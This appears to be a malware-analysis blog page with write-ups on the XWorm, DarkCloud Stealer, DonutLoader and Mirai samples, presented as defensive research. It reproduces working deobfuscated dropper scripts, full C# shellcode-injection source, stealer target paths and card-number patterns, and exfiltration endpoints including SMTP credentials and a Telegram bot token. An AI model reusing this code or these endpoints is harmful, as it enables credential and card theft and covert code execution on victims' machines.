private static string TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(UltraSpeed.StrSignature + " \r\n\r\n\r\n==========PC INFO==========\r\nClient Name:" + Environment.MachineName, Operators.AddObject("\r\nFullDate: ", UltraSpeed.INFO_Date_Time())), "\r\nIP: " + UltraSpeed.INFO_SystemIP()), Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nCountry: ", UltraSpeed.INFO_Country()), "\r\n"), "==========PC INFO==========")));
private static string Host_Sender = "voiper@tamre.it";
private static string Host_Password = "KFRKgMrNoiIF";
private static string Host_Server = "mailserver12.vhosting-it.com";
private static string Host_Receiver = "remiset@remisat.com.uy";
private static string Host_Port = "465";
NOTE: the data I am talking about is usernames and passwords.
That is all for this analysis.
XWorm
RAT
What’s XWorm?
“Malware with wide range of capabilities ranging from RAT to ransomware.” -malpedia
Small Story
I will keep things simple as usual, I was checking out MalwareBazaar and a javascript file tagged as “XWorm” caught my eye, downloaded it to check out later (I had a competition so there was no time to check for a week), This is the MalwareBazaar link of the file. First seen in the wild at “2025-07-23 16:04:23 UTC”.
NOTE: All Files are provided at the end of this page.
Simple Flow

None of these files were downloaded from external source. Most of them were extracted using Base64 decryption and AES decryption.
Analysis (Dropper, Evasion)
Extracting files were simple for me. It was like, instead of letting code execute things, I was writing the decoded bytes/scripts to the file and analyze them one-by-one.
Starting with the “javascript” file, it had only 1 purpose and it was extracting a “DallasBoulevard.bat” into “AppData/Local/Temp” and executing it.
This batch file had a few purposes, it was also obfuscated but I extracted the first thing it does, executing a “PowerShell” command, which this “PowerShell” command itself will also use the bat file (In different directory but same bat file) to get first line starting with “:::”, Base64 decode it and execute it (Powershell command again).
This Powershell command is using advanced ways to avoid detection. Things it does:

Comments are added me as I was analysing script, strings were also encrypted so I had to decrypt them too.
After, powershell script is done executed, it looks for “::” line and seperates it to 2 different executable files. First executable .NET file is useless and does nothing, but the second one decrypts bytes and executes the “XWormClient.exe” (Which is the main malware file we were looking for).
This .NET executable is highly obfuscated, I used NetReactorSlayer to deobfuscate it, but honestly it couldn’t do much. I might have done something wrong but it is what it is, I could get the things I need at the end.
XWormClient
PART 1: Decrypt Strings: (ALL STRINGS) Glass0.
- obf_str1 = 192.159.99.85
- obf_str2 = 6000
- obf_str3 = <666666>
- obf_str4 = <Xwormmm>
- obf_str5 = XWorm V6.0
- obf_str6 = USB.exe
- string2 = bc1qac0j3zkpqwudsezg63x37nmqv2tanpk2zys43c
- obf_str7 = 0x9e335947293636ADfC39A13825Cd04244Fd0c1a9
- obf_str8 = TWNsPN7sYpTSogGAnixsTDJnnPCViDQ45r
- obf_str9 = 7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE
- obf_str10 = 440743435
PART 2: Create new Mutex with name: “6NW0cPlN6C2gZ2Tp”
PART 3: Application run and set in infinite loop
PART 4: Setup Network Connection (DefaultConnectionLimit etc. changed)
PART 5: (After WebClient object created)
obj3: “☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0”
NOTE: This is my PC configuration (VM)
Then File is downloaded from: obj2 {string[0x00000006]} object {string[]} [0] “https://api.telegram.org/bot” [1] “7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE” [2] “/sendMessage?chat_id=” [3] “440743435” [4] “&text=” [5] “☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0”
returned: @“{”“ok”“:true,”“result”“:{”“message_id”“:1132,”“from”“:{”“id”“:7257315662,”“is_bot”“:true,”“first_name”“:”“VIRUS \ud83e\udda0 BOTS”“,”“username”“:”“Alvin0365bot”“},”“chat”“:{”“id”“:440743435,”“first_name”“:”“Alvinmullar”“,”“username”“:”“alvinmullar”“,”“type”“:”“private”“},”“date”“:1753785840,”“text”“:”“\u2620 [XWorm V6.0 @XCoderTools]\n\nNew CLient : \n41B3E62F549A81F56A43\n\nUserName : flare\nOSFullName : Microsoft Windows 10 Pro\nUSB : False\nCPU : 13th Gen Intel i7-13650HX\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \nRAM : 7.98 GB\nGroup : XWorm V6.0”“,”“entities”“:[{”“offset”“:14,”“length”“:12,”“type”“:”“mention”“}]}}”
after that ,webclient is disposed.
Result?
What we get is, this telegram bot is used as C2 and “192.159.99.85:6000” is (probably, not sure) used for remote connection. I didn’t go deeper but I uploaded all these files in to MalwareBazaar for anyone that needs to check it out. These all are new file and XWormClient version is “6.0” (latest).
IOC
DarkCloud
Stealer
Small Story
By early 2025, the cyber landscape had tilted. Digital defenses adapted quickly—but DarkCloud Stealer, a slick information‑stealer first seen in 2022, had quietly evolved. A new AutoIt‑decoded campaign emerged in January and February 2025, targeting high‑value institutions including Polish government networks and finance companies. These variants hid inside phishing emails and weaponized RAR archives hosted on file‑sharing platforms. When victims downloaded them, an AutoIt executable delivered XOR‑encrypted payloads and shellcode, eventually unlocking the DarkCloud payload in memory
Why did I analyze it?
I saw a DarkCloud sample listed in malware bazaar and just decided to look into it, so maybe I can find new malware sample.

General Malware Flow
It was honestly short compared to other malwares I have worked with.

The thing was, obfuscations were a little bit annoying but easy to deobfuscate. I would even say, these first 3 files had nearly same obfuscation technique used on them. Just a few changes.
First 3 files deobfuscated
Bukti_Transfer.vbs
tJJD = <base64 data>
private function qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq ( asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR )
CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).DataType = bin.base64
CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).Text = asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR
qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq = CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).NodeTypedValue
end function
Sub UabNeUPVDYZliECkFVEBrWraz( KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl , jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT)
CreateObject( AdoDb.stream ).Type = 1
CreateObject( AdoDb.stream ).Open
CreateObject( AdoDb.stream ).Write jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT
CreateObject( AdoDb.stream ).SaveToFile KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl, 2
End Sub
UabNeUPVDYZliECkFVEBrWraz CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js, qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq(tJJD)
CreateObject("WScript.Shell").Run CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js
DIFqiByo.js
XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI = "<base64_string>" ;
UHYgIKAlppsqDgDwqEAhaRmVfBdoFM = new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 ) + Fexcel.xls
function zcFEtAhLdQTEBlkhVCFKTZfScCEKhu (XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF)
{
var kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK = new ActiveXObject( Microsoft.XMLDOM );.createElement( "YkNWdVKSrzJKfxvQTcyPsOPeKXzGibcGkeEdxvyxSPLiwLuBzPckzYeJUiMGWEkP" );
kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.dataType = bin.base64
kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.text = XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF ;
return kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.nodeTypedValue ;
}
function bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA)
{
var omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu = new ActiveXObject( ADODB.Stream );
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Open();
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Type = 1;
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Write( XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA );
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Position = 0;
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.SaveToFile( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , 2);
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Close();
}
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI));
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(hwEGxbBGnBNdYyRQfv));
new ActiveXObject( WScript.Shell ).Run(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js) ;
new ActiveXObject( WScript.Shell ).Run(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM) ;
adobe.js
WjfOMggRpJFcoITKXbCPawOtniqPc = "<base64_string>";
FTRROHYpgXUatWipcLjFwD = new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 ) \JReSz.exe
function OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX (TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV)
{
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.dataType = bin.base64
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.text = TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV ;
return OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.nodeTypedValue ;
}
YnBjXqSbajJqZKnFLbqmzukQhfjfnCSHtrtEGgdmBrmzcGcMFNQSnfZdCkCsGnnYRCxiQiyfxEkIIkoaDWZalzUNRQCWdlfODOiaJtvWOlUivRURvcojONmRijQzgcCMYVEtCNRJbCLAflRAvkaBwvApcQsZdvqmjIKZMbPiKfILCmmwRQEwCAPcVORlVrffMYRXa = ADODB.Stream
function rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG( aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ , vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY)
{
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Open();
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Type = 1;
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Write(vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY );
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Position = 0;
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.SaveToFile(aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ ,2 );
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Close();
}
rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG(FTRROHYpgXUatWipcLjFwD, OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX(WjfOMggRpJFcoITKXbCPawOtniqPc))
bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp = new ActiveXObject(Wscript.Shell);
bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp.Run(FTRROHYpgXUatWipcLjFwD) ;
VB Exe
And Finally, adobe.js drops Visual Basic v5.0 compiled 32-bit binary, which serves as stealer, keylogger, logger.
Steals data like:
| Browser Related Data |
|---|
| \Google\Chrome\User Data |
| \Opera Software\Opera Stable |
| \Yandex\YandexBrowser\User Data |
| \360Chrome\Chrome\User Data |
| \Comodo\Dragon\User Data |
| \MapleStudio\ChromePlus\User Data |
| \Chromium\User Data |
| \Torch\User Data |
| \Epic Privacy Browser\User Data |
| \BraveSoftware\Brave-Browser\User Data |
| \Iridium\User Data |
| \7Star\7Star\User Data |
| \Amigo\User Data |
| \CentBrowser\User Data |
| \Chedot\User Data |
| \CocCoc\Browser\User Data |
| \Elements Browser\User Data |
| \Kometa\User Data |
| \Orbitum\User Data |
| \Sputnik\Sputnik\User Data |
| \uCozMedia\Uran\User Data |
| \Vivaldi\User Data |
| \Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer |
| \CatalinaGroup\Citrio\User Data |
| \Coowon\Coowon\User Data |
| \liebao\User Data |
| \QIP Surf\User Data |
| \Microsoft\Edge\User Data |
| \Mozilla\Firefox\Profiles |
| \Waterfox\Profiles |
| \K-Meleon\Profiles |
| \Thunderbird\Profiles |
| \Comodo\IceDragon\Profiles |
| \8pecxstudios\Cyberfox\Profiles |
| \NETGATE Technologies\BlackHawK\Profiles |
| \Moonchild Pro2ductions\Pale Moon\Profiles |
| Card Related Data |
|---|
| username_value |
| name_on_card |
| expiration_month\expiration_year |
| card_number_encrypted |
| ^389[0-9]{11}$ |
| Amex Card |
| ^(6541|6556)[0-9]{12}$ |
| Carte Blanche Card |
| ^3(?:0[0-5]|[68][0-9])[0-9]{11}$ |
| Diners Club Card |
| 6(?:011|5[0-9]{2})[0-9]{12}$ |
| Discover Card |
| ^63[7-9][0-9]{13}$ |
| Insta Payment Card |
| ^(?:2131|1800|35\d{3})\d{11}$ |
| JCB Card |
| ^9[0-9]{15}$ |
| KoreanLocalCard |
| ^(6304|6706|6709|6771)[0-9]{12,15}$ |
| Laser Card |
| ^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$ |
| Maestro Card |
| 5[1-5][0-9]{14}$ |
| Mastercard |
| 3[47][0-9]{13}$ |
| Express Card |
| ^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$ |
| Solo Card |
| ^(62[0-9]{14,17})$ |
| Union Pay Card |
| 4[0-9]{12}(?:[0-9]{3})?$ |
| Visa Card |
| ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$ |
| Visa Master Card |
| ^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$ |
Other than that, it uses showip.net to get IP address of the victim.
Uses mysql queries, some of the queries:
SELECT origin_url, username_value, password_value, length(password_value) FROM logins
SELECT origin_url, username_value, password_value FROM logins
SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
etc.
How data is sent
Uses smtp.gmail.com service to send data to “Williamsaustin2099@gmail.com”
That’s all for this malware.
Note: The VB binary was uploaded by JAMESWT_WT (2025-08-01) before me, most likely different case but same malware used for stealing, logging etc.
DonutLoader
Loader
Warning!
This analysis will be only about DonutLoader dropping files and injecting shellcode in a new process. Shellcode itself is poorly written and doesn’t even work. (Gives User Exception)
What is DonutLoader?
Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).
Github: https://github.com/TheWover/donut
-Malpedia
Malware Flow

Start.ps1
It is non-obfuscated simple payload that use AES to decrypt bytes and uses fileless method to Invoke Entry Point of this .Net 32 Assembly:
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl = [System.Security.Cryptography.AesManaged]::Create()
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Mode = [System.Security.Cryptography.CipherMode]::CFB
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Key = ...
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.IV = ...
...
...
...
$mkGojQZagZNcgSCKvDLTRrKszMXjRXS = $CXXPHgQDJiHqCYomtbKDxMBPoWqhryB.ToArray()
$DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ = [System.Reflection.Assembly]::Load(...)
$ijgkjszDBpbruCzVYHybVgjVDWVxyVr = $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ.EntryPoint
$ijgkjszDBpbruCzVYHybVgjVDWVxyVr.Invoke($null, @())
Stub.exe
It has some simple obfuscations which can be passed manually and some common sense. Uses AES again for decryption of strings, which you can just put breakpoint at “return” to get values.
But the main purpose is, it has source code of C# file that will be used for process injection:
AzeroPum
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace AzeroPum
{
public static class AzeroKick
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId
);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public static void AzeroFloid(string path, byte[] bytes)
{
int controlVar = 7;
Random rng = new Random();
// Control flow obfuscation loop
while (controlVar > 0)
{
switch (controlVar)
{
case 7:
if ((DateTime.Now.Ticks % 2) == 0)
{
controlVar = 4;
}
else
{
controlVar = 5;
}
Thread.Sleep(rng.Next(20, 50));
break;
case 4:
// Note: rng.Next(0, 100) will never be > 150, so always goes to case 3
if (rng.Next(0, 100) > 150)
{
controlVar = 6;
}
else
{
controlVar = 3;
}
Thread.Sleep(rng.Next(10, 30));
break;
case 5:
DummyOperation();
controlVar = 3;
break;
case 3:
controlVar = 2;
break;
case 2:
controlVar = 1;
break;
case 1:
controlVar = 0;
break;
default:
controlVar--;
break;
}
}
// Initialize process startup info
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
PROCESS_INFORMATION pi;
// Create suspended process (flag 0x4 = CREATE_SUSPENDED)
bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi));
if (!created || pi.hProcess == IntPtr.Zero)
{
for (int i = 0; i < 3; i++)
{
Thread.Sleep(10);
}
return;
}
// Allocate memory in target process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Write payload bytes to allocated memory
IntPtr written;
if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Create remote thread to execute the payload
IntPtr threadId;
IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
if (thread == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Wait for thread completion (0xFFFFFFFF = INFINITE)
WaitForSingleObject(thread, 0xFFFFFFFF);
// Terminate the process
bool terminated = TerminateProcess(pi.hProcess, 0);
if (!terminated)
{
Thread.Sleep(50);
TerminateProcess(pi.hProcess, 0);
}
// Clean up handles
CloseHandle(thread);
CloseHandles(pi);
}
private static void CloseHandles(PROCESS_INFORMATION pi)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
private static void DummyOperation()
{
int x = 0;
for (int i = 0; i < 5; i++)
{
x ^= i;
x += 2;
}
if (x % 2 == 0)
{
x /= 2;
}
}
}
}
// strings decoded System.dll, System.Core.dll, .AzeroPum.AzeroKick, AzeroFloid
// Invoked using C:\Windows\SysWOW64\explorer.exe and a bunch of bytes I save these bytes to shellcode.bin
I added comments under but other comments were already existing in payload. To make it simple, it just creates explorer.exe process, allocates memory, writes bytes, creates thread starting from this address. I wanted to unpack shellcode dynamically but shellcode is poorly written and gives User Exception at a point. At the end I could only find 1 new sample related to DonutLoader (Stub.exe), which I will have link below for anyone that needs to see it.
IOC
Mirai
Mirai Botnet Analysis: Deep Dive into System Calls
What is Mirai?
Mirai is a self-propagating botnet malware that primarily targets IoT devices running Linux. It gained notoriety for launching massive DDoS attacks and compromising millions of IoT devices worldwide by exploiting default credentials and vulnerabilities.
# Typical Mirai infection vector
telnet <target_ip>
# Login attempts with default credentials:
# admin:admin, root:xc3511, root:vizxv, etc.
The Story of Mirai
Originally discovered in 2016, Mirai became infamous for taking down major internet services including Twitter, Netflix, and Reddit through coordinated DDoS attacks. The malware spreads by scanning for vulnerable IoT devices, infects them, and adds them to a botnet controlled by command and control (C2) servers.
Timeline:
2016-08 → First Mirai attacks detected
2016-09 → Major DDoS against KrebsOnSecurity (620 Gbps)
2016-10 → Dyn DNS attack takes down Twitter, Netflix, Reddit
2016-10 → Mirai source code leaked on Hackforums
String Analysis Findings
During static analysis, several questionable strings were discovered embedded within the malware binary. These strings provide insight into the malware author’s mindset and potential targeting preferences:

These embedded strings suggest the malware may contain additional functionality or targeting logic beyond the standard Mirai capabilities observed in the dynamic analysis.
System Call Analysis: A Journey Through Mirai’s Execution
Process Initialization & Setup
Process Identification
getpid() -> returns current process ID
getppid() -> returns parent process ID (3887)
Resource Limits Configuration
ugetrlimit() -> queries stack size limits
setrlimit() -> reduces stack size from 8MB to 2MB
This unusual stack size reduction suggests memory optimization for embedded IoT devices.
Signal Handling Setup
rt_sigaction() -> sets up SIGPWR (signal 32) handler
rt_sigprocmask() -> blocks certain signals
The use of SIGPWR (power failure signal) is particularly interesting - this signal is rarely used in normal programs and likely serves as a custom communication mechanism or anti-debugging technique.
Memory Management
// Heap expansion observed
brk(0x8065000) = 0x8065000 // New heap boundary
// EAX: 0x8065000 (134631424)
The malware performs dynamic memory allocation, expanding its heap space as needed.
Network Operations
; Socket creation and immediate closure
socketcall(SYS_SOCKET) = 3 ; Creates socket descriptor 3
close(3) = 0 ; Immediately closes socket
; EAX: 0x3 → 0x0 (success)
This quick socket open/close pattern suggests network capability testing or fingerprinting.
Time-Based Operations
// Timestamp collection
time(NULL) = 1755178257 // 0x689de511
times(&tms_buf) = 429663940 // 0x199c26c4
Critical Observation: The malware uses time-based execution control, suggesting it operates on scheduled intervals or waits for specific time conditions before activating.
Process Forking Behavior
